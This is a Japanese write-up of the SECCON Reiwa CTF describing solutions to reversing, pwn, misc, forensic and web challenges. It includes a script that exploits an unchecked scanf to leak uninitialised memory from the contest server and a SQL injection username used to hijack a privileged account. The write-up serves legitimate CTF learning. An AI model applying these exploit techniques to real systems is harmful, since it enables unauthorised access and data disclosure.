Edited at

SECCON 令和CTF Write-up

平成30年4月30日23時から令和元年5月1日1時まで2時間のコンテスト……の予定が最初はスコアサーバーにまともに繋がらなかったから令和元年5月2日2時までの3時間のコンテストになった。

2時間(予定)で何をするのかと気になっていた。問題が少ない&簡単なコンテストだった。

個人戦。私は、6問解いて510点9位。


Binary


和暦の流れ


プログラム"reiwa"に隠されたフラグをゲットせよ。


32bit ELFバイナリ。入力された文字列をSとして、S[i]^A[i]=B[i]が成り立つかをチェックしている。A[i]^B[i]を求めれば良い。下記のプログラムのespは、問題バイナリをgdbで動かして、$espをダンプした。Windows Subsystem for Linuxで32bitバイナリが動かなくてつらい。


solve.py

esp = [

0x14, 0x8a, 0x04, 0x08, 0xa6, 0xd3, 0xff, 0xff,
0x71, 0xea, 0xb1, 0x07, 0x24, 0xd4, 0xff, 0xff,
0xa4, 0xd3, 0xff, 0xff, 0xe0, 0xf3, 0xfc, 0xf7,
0x00, 0x00, 0x00, 0x00, 0x01, 0x09, 0x16, 0x00,
0x00, 0x00, 0x53, 0x48, 0x4f, 0x57, 0x41, 0x00,
0x00, 0x00, 0x10, 0x00, 0x04, 0x10, 0x00, 0x48,
0x45, 0x49, 0x53, 0x45, 0x49, 0x00, 0x68, 0x6f,
0x67, 0x65, 0x68, 0x6f, 0x67, 0x65, 0x68, 0x6f,
0x67, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x0c,
0x74, 0x03, 0x6c, 0x1b, 0x68, 0x11, 0x7e, 0x13,
0x24, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x40, 0xd9, 0xff, 0xf7, 0xc2, 0x00, 0x57, 0x65,
]

print "".join(chr(esp[0x1c+i]^esp[0x22+i]) for i in range(5))
print "".join(chr(esp[0x28+i]^esp[0x2f+i]) for i in range(6))


>py -2 solve.py

RAYWA
HEYSAY

$ ./reiwa

Welcome to New Era! Please answer the name of New Era! RAYWA
Welcome to New Era! Please answer the name of Old Era! HEYSAY
SECCON{M-T-S-H-R}

SECCON{M-T-S-H-R}


令和コード


Restruct by REIWA code


解けなかった。「Matsushita MN10300」とは……。

$ file runme

runme: ELF 32-bit LSB executable, Matsushita MN10300, version 1 (SYSV), statically linked, not stripped

追記。解いた。

./configure --enable-targets=all --enable-64-bit-bfd でビルドしたbinutilsのobjdumpならばディスアセンブルできる。

全部入りbinutils - 七誌の開発日記


runme.asm

 :

000014fe <_random_init>:
14fe: fc 81 00 18 mov d0,(1800 <_gp>)
1502: 00 00
1504: de 00 00 retf [],0

00001507 <_get_random_value>:
1507: fc a4 00 18 mov (1800 <_gp>),d0
150b: 00 00
150d: 81 mov d0,d1
150e: f8 c1 0d asl 13,d1
1511: f2 24 xor d1,d0
1513: 81 mov d0,d1
1514: f8 c5 11 lsr 17,d1
1517: f2 24 xor d1,d0
1519: 81 mov d0,d1
151a: f8 c1 0f asl 15,d1
151d: f2 24 xor d1,d0
151f: fc 81 00 18 mov d0,(1800 <_gp>)
1523: 00 00
1525: de 00 00 retf [],0

00001528 <_decode>:
1528: cf 20 movm [a2],(sp)
152a: f8 fe f4 add -12,sp
152d: f1 e2 mov d0,a2
152f: f0 42 movbu (a2),d0
1531: a0 00 cmp 0,d0
1533: c8 24 beq 1557 <.L22>

00001535 <.L24>:
1535: cd d2 ff 00 call 1507 <_get_random_value>,[],0
1539: 00

0000153a <_destruct_code>:
153a: 22 fc add -4,a2
153c: 21 ff add -1,a1
153e: 22 ff add -1,a2
1540: f8 cb 02 asr 2,d3
1543: 20 ff add -1,a0

00001545 <_restruct_code>:
1545: cb nop
1546: cb nop
1547: cb nop
1548: cb nop
1549: cb nop
154a: f0 46 movbu (a2),d1
154c: f2 21 xor d0,d1
154e: f0 56 movbu d1,(a2)
1550: 49 inc a2
1551: f0 42 movbu (a2),d0
1553: a0 00 cmp 0,d0
1555: c9 e0 bne 1535 <.L24>

00001557 <.L22>:
1557: 80 00 mov 0,d0
1559: df 20 10 ret [a2],16

0000155c <_main>:
155c: cf 80 movm [d2],(sp)
155e: f8 fe f4 add -12,sp
1561: fc cc a2 8c mov -1831433054,d0
1565: d6 92
1567: cd 97 ff 00 call 14fe <_random_init>,[],0
156b: 00
156c: fc cc b1 15 mov 5553,d0
1570: 00 00
1572: cd 69 ff 00 call 14db <_puts>,[],0
1576: 00
1577: fc cc 45 15 mov 5445,d0
157b: 00 00
157d: cd 3a ff 00 call 14b7 <_gets>,[],0
1581: 00
1582: fc ce 04 18 mov 6148,d2
1586: 00 00
1588: 88 mov d2,d0
1589: cd 9f ff 00 call 1528 <_decode>,[],0
158d: 00
158e: fc cc c7 15 mov 5575,d0
1592: 00 00
1594: cd 47 ff 00 call 14db <_puts>,[],0
1598: 00
1599: 88 mov d2,d0
159a: cd 41 ff 00 call 14db <_puts>,[],0
159e: 00
159f: fc cc c5 15 mov 5573,d0
15a3: 00 00
15a5: cd 36 ff 00 call 14db <_puts>,[],0
15a9: 00
15aa: 80 00 mov 0,d0
15ac: cd b5 fe 00 call 1461 <_exit>,[],0
15b0: 00


_restruct_codenopの部分にgetsでコードを読みこんで実行するようになっている。問題文に従って、REIWAを入力すると、

00001545 <_restruct_code>:

1545: 52 inc4 a2
1546: 45 inc a1
1547: 49 inc a2
1548: 57 asl2 d3
1549: 41 inc a0
154a: f0 46 movbu (a2),d1

となる。実行環境が無いのでコードを読むとxorshiftで生成した値をxorする処理。ただし、Wikipediaの実装例と異なり、最後の左シフトが5ではなく15になっている。


solve.py

r = 0x92d68ca2

def get_random_value():
global r
r ^= r<<13&0xffffffff
r ^= r>>17&0xffffffff
r ^= r<<15&0xffffffff
return r

d = [
0x50, 0x77, 0x1f, 0xd3, 0x1e, 0x1f, 0xfb, 0xb4,
0x20, 0x5e, 0xc5, 0xa5, 0xdc, 0x2e, 0xf7, 0x62,
0xd3, 0xae, 0x16, 0x1e, 0x82, 0x44, 0x09, 0x72,
0xba, 0x39]
for i in range(len(d)):
d[i] ^= get_random_value()&0xff
print "".join(map(chr, d))


SECCON{MachineCodeOfREIWA}


零和アセンブリ

0 solvedだったので、無理だろうと思ってスルー。


Pwnable


和暦

最後のほうで解き方が分かったけれど、間に合わなかった。悔しい。


西暦を和暦に変換してくれるよ

nc wareki-o-reiwa.seccon.jp 36294


$ nc wareki-o-reiwa.seccon.jp 36294

西暦 -> 和暦 変換サービス
1: 和暦変換
2: フラグ読み込み
0: 終了
>> 2

オフセット >> 0
Done!

1: 和暦変換
2: フラグ読み込み
0: 終了
>> 1

西暦 >> 2020
変換しますか?(Yes:1, No:Others) >> 1
変換結果:令和 2 年

1: 和暦変換
2: フラグ読み込み
0: 終了

「フラグ読み込み」ではflag.txtを指定されたオフセットにfseekしてから、スタックに確保された辺数に読みこむ。「和暦変換」で未初期化変数を読み出すことができれば、それはflag.txtの一部。

元号のテーブルの範囲外アクセスとか、32bitと64bitの変数の取り違えとかを疑ったけれど、そんなことはなかった。

scanfの返り値をチェックしていないことが脆弱性。scanfに数値として解釈できない値を入力すると、引数に指定された変数に値は書き込まれない。ただし、例えばabcなどと入力すると、その入力はそのまま次のscanfに回されて、「変換しますか?」が失敗してしまう。最初は意図が分からなかった「変換しますか?」はこのためだった。色々と試して、-に気が付いた。1回目のscanfは失敗するが、-は消費するので、2回目のscanfは普通に入力を受け付ける。

flag.txtには「天皇陛下のおことば」が載っていてサイズが大きく、30秒で切断されるので、一度では読み込めない。


solve.py

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("wareki-o-reiwa.seccon.jp", 36294))

def read():
d = ""
while not (len(d)>=3 and d[-3:]==">> "):
d += s.recv(9999)
return d

print read()
ans = ""
for i in range(750,804):
s.send("2\n")
print read()
s.send("%s\n"%(i*8))
print read()
s.send("1\n")
print read()
s.send("-\n")
print read()
s.send("1\n")
t = read()
print t
print i
reiwa = int(t.split(" ")[1])
print reiwa
ans += ("%016x"%(reiwa+2018)).decode("hex")[::-1]

open("flag.txt","wb").write(ans)



flag.txt

??は,幸せなことでした。象徴としての私を受け入れ,支えてくれた国民に,心から感謝します。

明日から始まる新しい令和の時代が,平和で実り多くあることを,皇后と共に心から願い,ここに我が国と世界の人々の安寧と幸せを祈ります。

http://www.kunaicho.go.jp/page/okotoba/detail/46#155

=====

FLAG : SECCON{WAREKI_g035_0n_f0r3v3r}


SECCON{WAREKI_g035_0n_f0r3v3r}


Misc


フラグの例は?


平成最後の最後、令和最初のSECCON CTFにようこそ。 フラグはSECCON{reiwa}です。


SECCON{reiwa}


bREInWAck


元号が変わる。記号も変わる。

参考: https://ja.wikipedia.org/wiki/Brainfuck



flag.bw

令和和和和和和和和和和和和和和和和「令和

和和和和令和和和和令和和和和和和和令和和
和和和和令和和平平平平平成」令和和和。令
和和和和和。成成。。平成成成成。成。令令
和和和和和和和和和和和。令和和。平平平和
和和和。令和和。和和和和。令令和和和和和
和和和和和和和。平平平和和和和和和和和和
和和和和。成成成成成成成成。令成成成成成
成成成。令令。成成成成成。成成成成成成。
令和。平平和和。令令令和和和和和和和和和
和。

Brainfuckの文字を置換したもの。[]。最後にあるから、.は数が多いので+。次に多いのがで、>だろうか。それなら、「令和」と「平成」の対応を考えれば、「平」が<、「成」が-。そんなにパターン数が多いわけでもないので、何も考えず全組み合わせを試せば良かったかもしれない。

>++++++++++++++++[>+

++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.

適当なBrainfuckのインタプリタで実行するとフラグが出てくる。

SECCON{bREIn_WAnic!}


零は?


nc zerois-o-reiwa.seccon.jp 23615


$ nc zerois-o-reiwa.seccon.jp 23615

[1/100]
0=53-?
?=53
[2/100]
0=41*?-902
?=

後のほうはこんな感じ。

[32/100]

0=18-26+2*?+2*5-88*12-96+39*61+1-98+41-7*60*77+84-20-43+32*3*85-78+74-66*15+23*16+77-21*61+24686
?=

2桁の整数の積の和差しか出てこない。最後の数字で辻褄を合わせている。最後の数字が?になることもあるので、2桁の整数を探索するだけではダメ。

右辺の?を置換してevalし、0になるか調べた。


solve.py

from socket import *

from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("zerois-o-reiwa.seccon.jp", 23615))

for _ in range(100):
d = ""
while not (len(d)>=2 and d[-2:]=="?="):
d += s.recv(999)
print d
q = d.split("\n")[1][2:]
a = 0
while True:
if eval(q.replace("?", str(a)))==0:
break
a += 1
print a
s.send(str(a)+"\n")
sleep(3)
d = s.recv(999)
print d


>py -2 solve.py

[1/100]
0=?-21
?=
21
[2/100]
0=?-31+13
?=
18
[3/100]
:
[99/100]
0=30+29-45*68+73*86-78*94-87+21+71*78-96-93+44*45-31*8+6+68*46-37+27-87*85-42*66+75*50-37+60*12-81+63+62-16*54+55*48-8-96+18*78+43-45*94+21-57*53*39-61+81*25+39-7*51+59-78-9*70+45-1*92+57*3+79-97+20*50-36-66*45+9+78*95-7*14+51-37*39-0+25+53*65-64-60*90+48*22+44-78+87*41-18-?*0+95-95+5+110907
?=
0
[100/100]
0=60+22-11*48-40+54*95*26-20+74+80-82*4-20+7*90*47-7+2-63+47*89+14*94-68+58*35-45+74-97*77*31-64+69+3-84*52-56*36+10-47*44+38-83+77*13*80-95+66+43-38*41+6*93-43*42-55+55*93-32+86-69*83+43+88-75*49*92-1+49-20*95+39*14+84-65-19*86+45+52-50*55-6+6*82-22+61*71-27+48*34+74*75-11+67*12-22-0*?+20+324433
?=
0
Congratulations!
The flag is SECCON{REIWA_is_not_ZERO_IS}.

SECCON{REIWA_is_not_ZERO_IS}


Forensic


見えないよ!


SECCON{overlay_overlap_overera}

元号発表記者会見ネタ。(Readerではない)Acrobatを持っていれば、「オブジェクトを編集」で動かせば良い。QRコードに「令和」と書かれていて読み込めず、「QRコードの解析は面倒だな……」と思ったけれど、官房長官を動かすと裏に切り抜かれた部分があった。

適当な画像編集ソフトで白い部分を透明にして重ねれば良い。ペイントでもできる(選択→透明の選択)。

image.png

SECCON{overlay_overlap_overera}


Web


reiwaVote


「令和」を新元号として選出せよ!

pass: notvirus


「投票する」をクリックすると、ブラウザで投票サイトが開かれる。SQL Injectionを起こすような、ユーザー名で登録し、ログインするとSecond-order SQL injection(?)が起こる。

ここからどうすれば良いのか悩んだ。Web問なのにローカルで動かす問題で、データベースなどブラウザ経由で取れるところにフラグが無い。

メモリをダンプして眺めていると、

UPDATE tblUsers SET Importance=(SELECT COUNT(*) FROM tblUsers) WHERE User='shinzo';

SELECT GengoId, EraE, EraJ, SUM(Importance) AS Votes FROM tblVotes v, tblUsers u, tblEras e WHERE v.UserId=u.Id AND v.GengoId=e.Id GROUP BY GengoId ORDER BY Votes DESC;

というSQL文を見つけた。shinzoというユーザーは、ユーザー数と同じだけのImportanceを持っているらしい。

shinzoId1らしく、

ID: a' UNION SELECT 1 --

Pass: hoge

でユーザーを作成してログインすると、shinzoになれて、「令和」に投票すると、「令和」がトップになる。

SECCON{e32afd2cf7b98e41cf70fed}